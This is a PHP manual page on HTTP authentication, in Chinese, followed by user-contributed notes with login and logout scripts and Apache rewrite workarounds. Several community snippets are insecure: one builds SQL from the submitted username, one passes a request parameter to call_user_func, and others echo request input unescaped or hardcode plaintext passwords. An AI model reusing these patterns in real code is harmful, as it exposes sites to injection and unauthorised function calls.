Netscape Navigator 和 Internet Explorer 浏览器都会在收到 401 的服务端返回信息时清空所有的本地浏览器整个域的 Windows 认证缓存。这能够有效的注销一个用户，并迫使他们重新输入他们的用户名和密码。有些人用这种方法来使登录状态"过期"，或者作为"注销"按钮的响应行为。

Example #3 强迫重新输入用户名和密码的 HTTP 认证的范例

<?php
function authenticate() {
header('WWW-Authenticate: Basic realm="Test Authentication System"');
header('HTTP/1.0 401 Unauthorized');
echo "You must enter a valid login ID and password to access this resource\n";
exit;
}

if (!isset($_SERVER['PHP_AUTH_USER']) ||
($_POST['SeenBefore'] == 1 && $_POST['OldAuth'] == $_SERVER['PHP_AUTH_USER'])) {
authenticate();
}
else {
echo "<p>Welcome: {$_SERVER['PHP_AUTH_USER']}<br />";
echo "Old: {$_REQUEST['OldAuth']}";
echo "<form action='{$_SERVER['PHP_SELF']}' METHOD='post'>\n";
echo "<input type='hidden' name='SeenBefore' value='1' />\n";
echo "<input type='hidden' name='OldAuth' value='{$_SERVER['PHP_AUTH_USER']}' />\n";
echo "<input type='submit' value='Re Authenticate' />\n";
echo "</form></p>\n";
}

该行为对于 HTTP 的 Basic 认证标准来说并不是必须的，因此不能依靠这种方法。对 Lynx 浏览器的测试表明 Lynx 在收到 401 的服务端返回信息时不会清空认证文件，因此只要对认证文件的检查要求没有变化，只要用户点击"后退"按钮，再点击"前进"按钮，其原有资源仍然能够被访问。不过，用户可以通过按"_"键来清空他们的认证信息。

为了能够使HTTP工作在 IIS 服务器的 CGI 模式下。 你需要编辑 IIS的设置"目录安全"。点击"编辑"并且只选择"匿名访问"，其它所有的复选框都应该留空。

Note: IIS 注意事项
要 HTTP 认证能够在 IIS 下工作，PHP 配置选项 cgi.rfc2616_headers 必须设置成 0（默认值）。

User Contributed Notes

spam at angstzustaen dot de 16-May-2021 05:35
public function loginUser(){
        $username = filter_var($_GET['username'],FILTER_SANITIZE_STRING);
        $pw = filter_var($_GET['pw'],FILTER_SANITIZE_STRING);
        $row = $this->userModel->selectUser($username);

       if (password_verify($pw,$row['pw'])){
           $_SESSION["userId"] = $row['id'];

           $this->isLogin();
       } else{
           new Msg(true,"Benutzername und Passwort stimmen nicht überein!");
       }

    }

A short example for an user Login
bitman at bitworks dot de 22-Apr-2021 12:14
the alternative text should contain the complete text af a (small) valid HTML-Ressource.  It also can contain link relations to CSS.
patrick dot moire at socopa dot fr 17-Jun-2020 12:12
Samples Login / Logout script

login.php :

<?php

    // Initisalition
    if ($_COOKIE["SESSION"]=='') {
        setcookie("SESSION", 'AUTH', 0,'/');

    // Identification perdu (time-out ou logoff)
    } else if ($_SERVER['PHP_AUTH_USER']!='' && $_COOKIE["USER_SESSION"]=='') {
        $_SERVER['PHP_AUTH_USER'] = '';
    }

    // Controle identification à la base
    $ident = executeSQL("SELECT * FROM UTILISATEURS WHERE upper(IDENTIFIANT)=Upper('".$_SERVER['PHP_AUTH_USER']."')");
    if ($_SERVER['PHP_AUTH_USER']!='' && strtoupper($ident['IDENTIFIANT'])==strtoupper($_SERVER['PHP_AUTH_USER']) && $ident['MOT_DE_PASSE']==$_SERVER['PHP_AUTH_PW']) {
        $user = $_SERVER['PHP_AUTH_USER'];
        setcookie("USER_SESSION", $user, time()+300,'/'); // 5 Minutes !

    // Mot de passe incorecte : demande identification
    } else {
        setcookie("SESSION", '', 1,'/');
        header('WWW-Authenticate: Basic realm="My Realm"');
        header('HTTP/1.0 401 Unauthorized');
        die;
    }

?>
<html>
    <body >

        Bonjour <?php echo $ident['NOM'].' '.$ident['PRENOM']; ?>
        <br>
        <br>
        <a href="http://logout.php">Deconnexion</a>
    </body>
</html>

logout.php :

<?php
setcookie("USER_SESSION", '', 1,'/');
header('Location: http://login.php');
?>
Carlos 22-Nov-2017 10:44
Simpler WorkAround for missing Authorization header under CGI/FastCGI available in Apache HTTP Server 2.4.13 and later

     CGIPassAuth On

Please don't enable Authorization header with Basic Authentication, is very insecure.
john_2232 at gmail dot com 22-Nov-2015 07:05
Here is my attempt to create a digest authentication class that will log the user in and out without using a cookie,session,db,or file. At the core is this simple code to parse the digest string into variables works for several browsers.
<?php
// explode the digest with multibrowser support by Tony Wyatt 21jun07
public function explodethedigest($instring) {
$quote = '"';
$equal = '=';
$comma = ',';
$space = ' ';
$a = explode( $comma, $instring);
$ax = explode($space, $a[0]);
$b = explode( $equal, $ax[1], 2);
$c = explode( $equal, $a[1], 2);
$d = explode( $equal, $a[2], 2);
$e = explode( $equal, $a[3], 2);
$f = explode( $equal, $a[4], 2);
$g = explode( $equal, $a[5], 2);
$h = explode( $equal, $a[6], 2);
$i = explode( $equal, $a[7], 2);
$j = explode( $equal, $a[8], 2);
$k = explode( $equal, $a[9], 2);
$l = explode( $equal, $a[10], 2);
$parts = array(trim($b[0])=>trim($b[1], '"'), trim($c[0])=>trim($c[1], '"'), trim($d[0])=>trim($d[1], '"'), trim($e[0])=>trim($e[1], '"'), trim($f[0])=>trim($f[1], '"'), trim($g[0])=>trim($g[1], '"'), trim($h[0])=>trim($h[1], '"'), trim($i[0])=>trim($i[1], '"'), trim($j[0])=>trim($j[1], '"'), trim($k[0])=>trim($k[1], '"'), trim($l[0])=>trim($l[1], '"'));

return $parts;
}
?>
Give it a try at http://www.creativetheory.ca/ /tests/ta1.php Log in with user test password pass or user guest password guest. Go to page two for links to the code. Comments, ideas, suggestions, or critique welcome.
dan223 at gmail dot com 01-Oct-2015 10:45
A simple script for SSL Client Certificate authentication with a basic authentication fall-back. I use this on my site using LDAP server to check username/passwords and client certificate to user mapping.

<?
// Check if and how we are authenticated
if ($_SERVER['SSL_CLIENT_VERIFY'] != "SUCCESS") { // Not using a client certificate
    if ((!$_SERVER['PHP_AUTH_USER']) && (!$_SERVER['PHP_AUTH_PW'])) { // Not logged in using basic authentication
        authenticate(); // Send basic authentication headers
    }
}

if ($_SERVER['SSL_CLIENT_S_DN_CN'] != "chris") { // Check CN name of cert

    if (!(($_SERVER['PHP_AUTH_USER'] == "test") && ($_SERVER['PHP_AUTH_PW'] == "123"))) { // Check username and password
        authenticate(); // Send basic authentication headers because username and/or password didnot match
    }
}

phpinfo();

// Call authentication display
function authenticate() {
    Header("WWW-Authenticate: Basic realm=Website");
        Header("HTTP/1.0 401 Unauthorized");
        error401();
        exit;
}
?>

See my website (http://velocitypress.ca/index.php?page=/manuals/) for more details on client certificate with Apache and PHP.
jake22 at gmail dot com 01-Oct-2015 10:42
I came up with another approach to work around the problem of browsers caching WWW authentication credentials and creating logout problems. While most browsers have some kind of way to wipe this information, I prefer having my website to take care of the task instead of relying on the user's sanity.

Even with Lalit's method of creating a random realm name, it was still possible to get back into the protected area using the back button in Firefox, so that didn't work. Here's my solution:

Since browsers attach the credentials to specific URLs, use virtual paths where a component of the path is actually a PHP script, and everything following it is part of the URI, such as:

http://velocitypress.ca/some_dir/login.php/auth/8f631b92/

By choosing a different number for the last component of the URL, browsers can be tricked into thinking that they are dealing with a completely different website, and thus prompting the user for credentials again.

Note that using a random, unrestricted number will still allow the user to hit the back button to get back into the page. You should keep track of this number in a server-side file or database and regenerate it upon each successful login, so that the last number(s) become invalid. Using an invalid number might result in a 403 response or, depending on how you feel that day, a 302 to a nasty website.

Care should be taken when linking from the page generated in this case, since relative links will be relative to the virtual and non-existant directory rather than the true script directory.
sergio dot carvalho at gmail dot com 07-Jun-2015 04:01
The only effective way I've found to wipe out the PHP_AUTH_DIGEST or PHP_AUTH_USER AND PHP_AUTH_PW credentials is to call the header HTTP/1.1 401 Unauthorized.

function clear_admin_access(){
    header('HTTP/1.1 401 Unauthorized');
    die('Admin access turned off');
}
derkontrollfreak+9hy5l at gmail dot com 19-Apr-2014 03:55
Workaround for missing Authorization header under CGI/FastCGI Apache:

SetEnvIf Authorization .+ HTTP_AUTHORIZATION=$0

Now PHP should automatically declare $_SERVER[PHP_AUTH_*] variables if the client sends the Authorization header.
Robb_Bean at gmx dot net 09-Jan-2014 04:55
In the german example #2 (digest), the <?php $realm = "Geschützter Bereich"; ?>. As far as I have tested the umlaut ü is problematic, resulting in an password enter infinity loop. In my case it was written in UTF-8. So I suggest using only plain ASCII characters for the realm.
xsanychx at mail dot ru 02-Oct-2012 09:32
New auth:

<?php
$login = 'test_login';
$pass = 'test_pass';

if(($_SERVER['PHP_AUTH_PW']!= $pass || $_SERVER['PHP_AUTH_USER'] != $login)|| !$_SERVER['PHP_AUTH_USER'])
{
    header('WWW-Authenticate: Basic realm="Test auth"');
    header('HTTP/1.0 401 Unauthorized');
    echo 'Auth failed';
    exit;
}
?>
kazakevichilya at gmail dot com 30-Mar-2012 08:20
In case of CGI/FastCGI you would hot be able to access PHP_AUTH* info because CGI protocol does not declare such variables (that is why their names start from PHP) and server would not pass them to the interpreter. In CGI server should authenticate user itself and pass REMOTE_USER to CGI script after it.

So you need to "fetch" request headers and pass them to your script somehow.

In apache you can do it via environment variables if mod_env is installed.

Following construction in .htaccess copies request header "Authorization" to the env variable PHP_AUTH_DIGEST_RAW

SetEnvIfNoCase ^Authorization$ "(.+)" PHP_AUTH_DIGEST_RAW=$1

You can now access it via $_ENV.

Do not forget to strip auth type ("Digest" in my case) from your env variable because PHP_AUTH_DIGEST does not have it.

If mod_env is not installed you probably have mod_rewrite (everyone has it because of "human readable URLs").

You can fetch header and pass it as GET parameter using rewrite rule:

RewriteRule ^.*$ site.php?PHP_AUTH_DIGEST_RAW=%{HTTP:Authorization} [NC,L]

Here HTTP request header Authorization would be acessible as PHP_AUTH_DIGEST_RAW via $_GET.

---
If you use ZF you probably use Zend_Auth_Adapter_Http to auth user.

It takes Authorization info using "Zend_Controller_Request::getHeader"
This method uses apache_request_header which is likely not to be accessible in old CGI/FastCGI installations or _$_SERVER['HTTP_<HeaderName>] , so you need to put your authentication data, obtained via _GET or ENV to
_$_SERVER['HTTP_AUTHORIZATION'].
It will make ZF work transparently with you solution and I believe any other framework should work also
vog at notjusthosting dot com 23-Feb-2012 11:54
You shouldn't use the "last" ("L") directive in the RewriteRule! This will prevent all further rewrite rules to be skipped whenever a Basic or Digest Auth is given, which is almost certainly not what you want.

So the following lines are sufficient for the .htaccess (or httpd.conf) file:

RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
h3ndrik 24-Oct-2011 05:32
On my configuration with php-cgi - after setting the RewriteRule - the correct variable would be: $_SERVER['REDIRECT_HTTP_AUTHORIZATION']

So the workaround for PhpCGI is:
Set in your .htaccess:

RewriteEngine on
RewriteRule .* - [env=HTTP_AUTHORIZATION:%{HTTP:Authorization},last]

Php workaround:
<?php
//set http auth headers for apache+php-cgi work around
if (isset($_SERVER['HTTP_AUTHORIZATION']) && preg_match('/Basic\s+(.*)$/i', $_SERVER['HTTP_AUTHORIZATION'], $matches)) {
    list($name, $password) = explode(':', base64_decode($matches[1]));
    $_SERVER['PHP_AUTH_USER'] = strip_tags($name);
    $_SERVER['PHP_AUTH_PW'] = strip_tags($password);
}

//set http auth headers for apache+php-cgi work around if variable gets renamed by apache
if (isset($_SERVER['REDIRECT_HTTP_AUTHORIZATION']) && preg_match('/Basic\s+(.*)$/i', $_SERVER['REDIRECT_HTTP_AUTHORIZATION'], $matches)) {
    list($name, $password) = explode(':', base64_decode($matches[1]));
    $_SERVER['PHP_AUTH_USER'] = strip_tags($name);
    $_SERVER['PHP_AUTH_PW'] = strip_tags($password);
}
?>
ceo at l-i-e dot com 13-Oct-2010 03:51
To force a logout with Basic Auth, you can change the Realm out from under them to a different Realm.

This forces a new set of credentials for a new "Realm" on your server.

You just need to track the Realm name with the user/pass and change it around to something new/random as they log in and out.

I believe that this is the only 100% guaranteed way to get a logout in HTTP Basic Auth, and if it were part of the docs a whole lot of BAD user-contributed comments here could be deleted.
Ollie L 24-Sep-2010 04:16
I tried example 7, and at first I couldn't get it to work. It took me a while to spot that somewhere along the line, probably by the server, a seemingly random number was being added to the realm - so the valid_result variable wasn't calculated using the correct realm.

To get around this, or any similar problems, make the following changes to the example:

Around line 43 (44 if after next step ;) ):
$needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1, 'realm'=>1);

Before line 24:
$realm = $data['realm'];

These two steps get the real realm used for the authentication request, and substitute it into the "valid_response" query.

Hope this helps :)
idbobby at rambler dot ru 12-Aug-2010 02:31
First of all, sorry for my English.
One more authorization script with logout solution.
In script given by meint_at_meint_dot_net (http://www.php.net/manual/en/features.http-auth.php#93859) rewrite_module is used. If there are any problems with that module and possibilities of administration of the web-server are restricted (including restrictions for use of .htaccess) then you can use this solution.

index.php
---------

<?php

$auth_realm = 'My realm';

require_once 'auth.php';

echo "You've logged in as {$_SESSION['username']}<br>";
echo '<p><a href="?action=logOut">LogOut</a></p>'

?>

auth.php
--------

<?php

$_user_ = 'test';
$_password_ = 'test';

session_start();

$url_action = (empty($_REQUEST['action'])) ? 'logIn' : $_REQUEST['action'];
$auth_realm = (isset($auth_realm)) ? $auth_realm : '';

if (isset($url_action)) {
    if (is_callable($url_action)) {
        call_user_func($url_action);
    } else {
        echo 'Function does not exist, request terminated';
    };
};

function logIn() {
    global $auth_realm;

    if (!isset($_SESSION['username'])) {
        if (!isset($_SESSION['login'])) {
            $_SESSION['login'] = TRUE;
            header('WWW-Authenticate: Basic realm="'.$auth_realm.'"');
            header('HTTP/1.0 401 Unauthorized');
            echo 'You must enter a valid login and password';
            echo '<p><a href="?action=logOut">Try again</a></p>';
            exit;
        } else {
            $user = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : '';
            $password = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : '';
            $result = authenticate($user, $password);
            if ($result == 0) {
                $_SESSION['username'] = $user;
            } else {
                session_unset($_SESSION['login']);
                errMes($result);
                echo '<p><a href="">Try again</a></p>';
                exit;
            };
        };
    };
}

function authenticate($user, $password) {
    global $_user_;
    global $_password_;

    if (($user == $_user_)&&($password == $_password_)) { return 0; }
    else { return 1; };
}

function errMes($errno) {
    switch ($errno) {
        case 0:
            break;
        case 1:
            echo 'The username or password you entered is incorrect';
            break;
        default:
            echo 'Unknown error';
    };
}

function logOut() {

    session_destroy();
    if (isset($_SESSION['username'])) {
        session_unset($_SESSION['username']);
        echo "You've successfully logged out<br>";
        echo '<p><a href="?action=logIn">LogIn</a></p>';
    } else {
        header("Location: ?action=logIn", TRUE, 301);
    };
    if (isset($_SESSION['login'])) { session_unset($_SESSION['login']); };
    exit;
}

?>
Ome Ko 25-Mar-2010 03:04
a link to http://logout:logout@<?=$_SERVER['HTTP_HOST'];?>/SECRET/ would force a fresh login for the /SECRET directory if no user logout with password logout exists.

[NOTE BY danbrown AT php DOT net: The following note was added by "Anonymous" on 01-APR-2010 (though we presume it's not an April Fool's Day joke).]

this logout method does not work 100% anymore, because of another bulls**t from M$:
http://support.microsoft.com/kb/834489
Anonymous 09-Sep-2009 10:02
The regex in http_digest_parse from Example #2 does not work for me (PHP 5.2.6), because back references are not allowed in a character class.  This worked for me:

<?php

// function to parse the http auth header
function http_digest_parse($txt)
{
   // protect against missing data
   $needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
   $data = array();

   preg_match_all('@(\w+)=(?:(?:\'([^\']+)\'|"([^"]+)")|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

   foreach ($matches as $m) {
       $data[$m[1]] = $m[2] ? $m[2] : ($m[3] ? $m[3] : $m[4]);
       unset($needed_parts[$m[1]]);
   }

   return $needed_parts ? false : $data;
}

?>
s dot i dot g at gmx dot com 06-Sep-2009 12:34
<?php

// try to mimic cpanel logout style
// only diff is usr & pwd field is cleared when re-login
// tested with ff2 & ie8

session_start();

$username = "test";
$password = "test";

if(isset($_GET['logout']))
{
  unset($_SESSION["login"]);
  echo "You have logout ... ";
  echo "[<a href='" . $_SERVER['PHP_SELF'] . "'>Login</a>]";
  exit;
}

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || !isset($_SESSION["login"]))
{
  header("WWW-Authenticate: Basic realm=\"Test\"");
  header("HTTP/1.0 401 Unauthorized");
  $_SESSION["login"] = true;
  echo "You are unauthorized ... ";
  echo "[<a href='" . $_SERVER['PHP_SELF'] . "'>Login</a>]";
  exit;
}
else
{
  if($_SERVER['PHP_AUTH_USER'] == $username && $_SERVER['PHP_AUTH_PW'] == $password)
  {
    echo "You have logged in ... ";
    echo "[<a href='" . $_SERVER['PHP_SELF'] . "?logout'>Logout</a>]";
  }
  else
  {
    unset($_SESSION["login"]);
    header("Location: " . $_SERVER['PHP_SELF']);
  }
}

// content here

?>
Yuriy 15-Feb-2009 06:11
Good day.
Sorry for my english.
This example shows programming "LOGIN", "LOGOUT" and "RE-LOGIN".
This script must use in the protected pages.
For work this script the browser address string must be following:
"http://localhost/admin/?login" - for Login,
"http://localhost/admin/?logout" - for Logout,
"http://localhost/admin/?logout&login" - for Re-Login.
<?php
session_start();

$authorized = false;

# LOGOUT
if (isset($_GET['logout']) && !isset($_GET["login"]) && isset($_SESSION['auth']))
{
    $_SESSION = array();
    unset($_COOKIE[session_name()]);
    session_destroy();
    echo "logging out...";
}

# checkup login and password
if (isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW']))
{
    $user = 'test';
    $pass = 'test';
    if (($user == $_SERVER['PHP_AUTH_USER']) && ($pass == ($_SERVER['PHP_AUTH_PW'])) && isset($_SESSION['auth']))
    {
    $authorized = true;
    }
}

# login
if (isset($_GET["login"]) && !$authorized ||
# relogin
    isset($_GET["login"]) && isset($_GET["logout"]) && !isset($_SESSION['reauth']))
{
    header('WWW-Authenticate: Basic Realm="Login please"');
    header('HTTP/1.0 401 Unauthorized');
    $_SESSION['auth'] = true;
    $_SESSION['reauth'] = true;
    echo "Login now or forever hold your clicks...";
    exit;
}
$_SESSION['reauth'] = null;
?>
<h1>you have <? echo ($authorized) ? (isset($_GET["login"]) && isset($_GET["logout"]) ? 're' : '') : 'not '; ?>logged!</h1>
Lars Stecken 12-Feb-2008 10:23
To anybody who tried the digest example above and didn't get it to work.

For me the problem seemed to be the deprecated use of '\' (backslash) in the regex instead of the '$' (Dollar) to indicate a backreference. Also the results have to be trimmed off the remaining double and single quotes.

Here's the working example:

// function to parse the http auth header
function http_digest_parse($txt)
{

    // protect against missing data
    $needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
    $data = array();

    preg_match_all('@(\w+)=(?:([\'"])([^$2]+)$2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

    foreach ($matches as $m) {
        $data[$m[1]] = $m[3] ? trim($m[3],"\",'") : trim($m[4],"\",'");
        unset($needed_parts[$m[1]]);
    }

    return $needed_parts ? false : $data;
}

Probably there's a more sophisticated way to trim the quotes within the regex, but I couldn't be bothered :-)

Greets, Lars
gbelyh at gmail dot com 26-Jul-2007 11:48
Back to the autherisation in CGI mode. this is the full working example:

#  Create the .htaccess file with following contents:
# also you can use the condition (search at this page)
RewriteEngine on
RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]

# In the beginning the script checking the authorization place the code:

$userpass = base64_decode(substr($_SERVER["REDIRECT_REMOTE_USER"],6)) ;

$userpass = explode(":", $userpass);

if (  count($userpass) == 2  ){
     #this part work not for all.
     #print_r($userpass);die; #<- this can help find out right username and password
     list($name, $password) = explode(':', $userpass);
     $_SERVER['PHP_AUTH_USER'] = $name;
     $_SERVER['PHP_AUTH_PW'] = $password;

}
Nicolas Merlet - admin(at)merletn.org 05-Mar-2007 09:37
Be careful using http digest authentication (see above, example 34.2) if you have to use the 'setlocale' function *before* validating response with the 'http_digest_parse' function, because there's a conflict with \w in the pattern of 'preg_match_all' function :

In fact, as \w is supposed to be any letter or digit or the underscore character, you must not forgot that this may vary depending on your locale configuration (eg. it accepts accented letters in french)...

Due to this different pattern interpretation by the 'preg_match_all' function, the 'http_digest_parse' function will always return a false result if you have modified your locale (I mean if your locale accepts some extended characters, see http://fr.php.net/manual/en/reference.pcre.pattern.syntax.php for further information).

IMHO, I suggest you not to use setlocale before having your authentication completed...

PS : Here's a non-compatible setlocale declaration...
setlocale ( LC_ALL, 'fr_FR', 'fr', 'FR', 'french', 'fra', 'france', 'French', 'fr_FR.ISO8859-1' ) ;
webmaster at kratia dot com 20-Feb-2007 04:53
This is the simplest form I found to do a Basic authorization with retries.

<?php

$valid_passwords = array ("mario" => "carbonell");
$valid_users = array_keys($valid_passwords);

$user = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];

$validated = (in_array($user, $valid_users)) && ($pass == $valid_passwords[$user]);

if (!$validated) {
  header('WWW-Authenticate: Basic realm="My Realm"');
  header('HTTP/1.0 401 Unauthorized');
  die ("Not authorized");
}

// If arrives here, is a valid user.
echo "<p>Welcome $user.</p>";
echo "<p>Congratulation, you are into the system.</p>";

?>
Whatabrain 10-Nov-2006 07:05
Back to the problem of authenticating in CGI mode... mcbethh suggested using this to set a local variable in php:
RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]

It didn't work. I couldn't see the variable. My solution is pretty round-about, but it works:

RewriteEngine on
RewriteCond %{HTTP:Authorization} !^$
RewriteCond %{REQUEST_METHOD} =GET
RewriteCond %{QUERY_STRING} =""
RewriteRule ^page.php$ page.php?login=%{HTTP:Authorization}$1

This causes the Auth string to be added to the URL if there are no parameters and it's a GET request. This prevents POSTs and parameter lists from being corrupted.

Then, in the PHP script, I store the Auth string as a session cookie.

So the only way to log in to my script is to go to the url with no parameters.
admin at isprohosting dot com 01-Nov-2006 06:21
There are .htaccess which actually works for us (cPanel + phpsuexec) unless others failed. Perhaps it may help someone.

# PHP (CGI mode) HTTP Authorization with ModRewrite:
RewriteEngine on
RewriteCond %{HTTP:Authorization} ^(.*)
RewriteRule ^(.*) - [E=HTTP_AUTHORIZATION:%1]

Then you need small piece of php code to parse this line and then everything will work like with mod_php:

if (isset($_SERVER['HTTP_AUTHORIZATION']))
{
$ha = base64_decode( substr($_SERVER['HTTP_AUTHORIZATION'],6) );
list($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']) = explode(':', $ha);
unset $ha;
}

Enjoy!
SlamJam 23-Oct-2006 11:28
I used Louis example (03-Jun-2006) and it works well for me (thanks).

However, I added some lines, to make sure, the user does only get the Authentification-Window a few times:

<?php
$realm = mt_rand( 1, 1000000000)."@YourCompany";
$_SESSION['realm'] = $realm;

// In the beginning, when the realm ist defined:
$_SESSION['CountTrials'] = 1;
?>

And then when it comes to check the authentification (ZEND-Tutorial):

<?php

// Not more than 3 Trials
if (!$auth) {
   $_SESSION['CountTrials']++;
   if ($_SESSION['CountTrials'] == 4) {
       session_destroy() ;
       header('Location: noentry.php');
       exit ;
   } else {
       header("WWW-Authenticate: Basic realm=".$_SESSION['realm']);
       header("HTTP/1.0 401 Unauthorized");
       echo 'Authorization Required.';
       exit;
   }
} else {
         echo '<P>You are authorized!</P>';
}
?>

noentry.php is slightely different from comeagain.php.
roychri at php dot net 10-Oct-2006 08:12
For PHP with CGI, make sure you put the rewrite rule above any other rewrite rule you might have.

In my case, I put this at the top of the .htaccess (below RewriteEngine On):
RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization}]

My symptom was that the REMOTE_USER (or REDIRECT_REMOTE_USER in my case) was not being set at all.
The cause: I had some other RewriteRule that was kickin in and was set as LAST rule.
I hope this helps.
web at kwi dot dk 12-Jul-2006 10:23
While Digest authentication is still far superior to Basic authentication, there are a number of security issues that one must keep in mind.

In this respect, the Digest example given above is somewhat flawed, because the nonce never times out or otherwise become invalid. It thus becomes a password-equivalent (although to that specific URL only) and can be used by an eavesdropper to fetch the page at any time in the future, thus allowing the attacker to always access the latest version of the page, or (much worse) repeatedly invoke a CGI script -- for instance, if the user requests the URL "/filemanager?delete=somefile", the attacker can repeat this deletion at any point in the future, possibly after the file has been recreated.

And while it might not be possible to change GET data without reauthentication, cookies and POST data *can* be changed.

To protect against the first problem, the nonce can be made to include a timestamp, and a check added to ensure that nonces older than e.g. 30 minutes result in a new authentication request.

To solve the second problem, a one-time only nonce needs to be generated -- that is, all further requests using a particular nonce must be refused.

One way to do this: When the user requests an action such as "deletefile", store a randomly generated nonce in a session variable, issue a 401 authentication challenge with that nonce, and then check against the stored value when receiving the authentication (and clear the session variable).

This way, although a possible eavesdropper receives the nonce and thus gains the ability to perform the action, he can only perform it once -- and the user was going to perform it anyway. (Only the user or the attacker, but not both, gets to perform the action, so it's safe.)

Of course, at some point, the security can only be improved by switching to HTTPS / SSL / TLS (this is for instance the only way to defend against man-in-the-middle attacks). You decide the level of security.
Louis 03-Jun-2006 03:51
I couldn't get authentication to work properly with any of the examples. Finally, I started from ZEND's tutorial example at:
http://www.zend.com/zend/tut/authentication.php?article=authentication (validate using .htpasswd) and tried to deal with the additional cases. My general conclusion is that changing the realm is the only reliable way to cause the browser to ask again, and I like to thank the person who put that example in the manual, as it got me on the right path. No matter what, the browser refuses to discard the values that it already has in mind otherwise. The problem with changing the realm, of course, is that you don't want to do it within a given session, else it causes a new request for a password. So, here goes, hopefully the spacing isn't too messed up by the cut'n'paste.

I spent the better part of a day getting this to work right. I had a very hard time thinking through what the browser does when it encounters an authentication request: seems to me that it tries to get the password, then reloads the page... so the HTML doesn't get run. At least, this was the case with IE, I haven't tested it with anything else.

<?php
session_start() ;
if (!isset($_SESSION['realm'])) {
        $_SESSION['realm'] = mt_rand( 1, 1000000000 ).
                " SECOND level: Enter your !!!COMPANY!!! password.";

        header( "WWW-Authenticate: Basic realm=".$_SESSION['realm'] );

        //  Below here runs HTML-wise only if there isn't a $_SESSION,
        // and the browser *can't* set $PHP_AUTH_USER... normally
        // the browser, having gotten the auth info, runs the page
        // again without getting here.
        //  What I'm basically getting to is that the way to get
        // here is to escape past the login screen. I tried
        // putting a session_destroy() here originally, but the
        // problem is that the PHP runs regardless, so the
        // REFRESH seems like the best way to deal with it.
        echo "<meta http-equiv=\"REFRESH\"
                content=\"0;url=index.php\">" ;
        exit;
        }

if ($_POST['logout'] == "logout") {
        session_destroy() ;
        header('Location: comeagain.php');
        exit ;
        }

// "standard" authentication code here, from the ZEND tutorial above.

comeagain.php is as follows:

<?
session_start();
unset($_SESSION['realm']);
session_destroy();
echo "<html><head><title>Logged Out</title><h1>Logout Page</h1><body>" ;
echo "You have successfully logged out of TOGEN";
echo " at ".date("h:m:s")." on ".date("d F Y") ;
echo "<p><a href=\"index.php\">Login Again</a>" ;
echo "</body></html>" ;
?>

The idea is to be able to trash the session (and thus reset the realm) without prompting the browser to ask again... because it has been redirected to logout.php.

With this combination, I get things to work. Just make sure not to have apache run htpasswd authentication at the same time, then things get really weird :-).
kembl at example dot com 23-May-2006 08:06
# PHP (CGI mode) HTTP Authorization with ModRewrite:
# most right example with header check for non empty:
 RewriteEngine on
 RewriteCond %{HTTP:Authorization}  !^$
 RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization}, \
E=PHP_AUTH_USER:%{HTTP:Authorization},L]
djreficul at yahoo dot com 15-Feb-2006 02:14
Well, I think it's easy to make authentification works correctly. I use a session var to force authentication everytime a user visit the logging area.

<?php
if (!isset ($_SESSION['firstauthenticate'])) {
    session_start();
}
  function authenticate() {
    header('WWW-Authenticate: Basic realm="Sistema autentificaci?n UnoAutoSur"');
    header('HTTP/1_0 401 Unauthorized');
//    header("Status: 401 Access Denied");
    echo "Unauthorized\n";
    exit;
  }
 if (!isset($_SERVER['PHP_AUTH_USER']) || strcmp ($_SERVER['PHP_AUTH_USER'],$user)!=0 ||
      !isset ($_SERVER['PHP_AUTH_PW']) || strcmp($_SERVER['PHP_AUTH_PW'],$pass)!=0 || !isset ($_SESSION['firstauthenticate']) || !$_SESSION['firstauthenticate']) {
     $_SESSION['firstauthenticate']=true;
   authenticate();
 } else {
            //I destroy the session var now
    session_unset();
            //Your code below
 }
?>
marco dot moser at oltrefersina dot it 09-Jan-2006 06:29
I suggest to demand user's authentication and management to the web server (by .htaccess, ...):

1. configure a global /logon/ directory with a .htaccess file restricted access

2. use fopen wrapper:

  $hh = @fopen("http://{$_SERVER['PHP_AUTH_USER']}:{$_SERVER['PHP_AUTH_PW']}".
    @{$_SERVER['SERVER_NAME']}/logon/", "r");
  if (!$hh) authenticate(); // usual header WWW-Authenticate ...
  fclose($hh);
siberion at hotmail dot com 24-Aug-2005 09:11
I came up with another approach to work around the problem of browsers caching WWW authentication credentials and creating logout problems. While most browsers have some kind of way to wipe this information, I prefer having my website to take care of the task instead of relying on the user's sanity.

Even with Lalit's method of creating a random realm name, it was still possible to get back into the protected area using the back button in Firefox, so that didn't work. Here's my solution:

Since browsers attach the credentials to specific URLs, use virtual paths where a component of the path is actually a PHP script, and everything following it is part of the URI, such as:

http://www.example.com/some_dir/login.php/auth/8f631b92/

By choosing a different number for the last component of the URL, browsers can be tricked into thinking that they are dealing with a completely different website, and thus prompting the user for credentials again.

Note that using a random, unrestricted number will still allow the user to hit the back button to get back into the page. You should keep track of this number in a server-side file or database and regenerate it upon each successful login, so that the last number(s) become invalid. Using an invalid number might result in a 403 response or, depending on how you feel that day, a 302 to a nasty website.

Care should be taken when linking from the page generated in this case, since relative links will be relative to the virtual and non-existant directory rather than the true script directory.

Hope this helps somebody.
snagnever at gmail dot com 18-Jun-2005 03:39
It forces a auth each time the page is accessed:
(maybe can save someone)

<?
header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
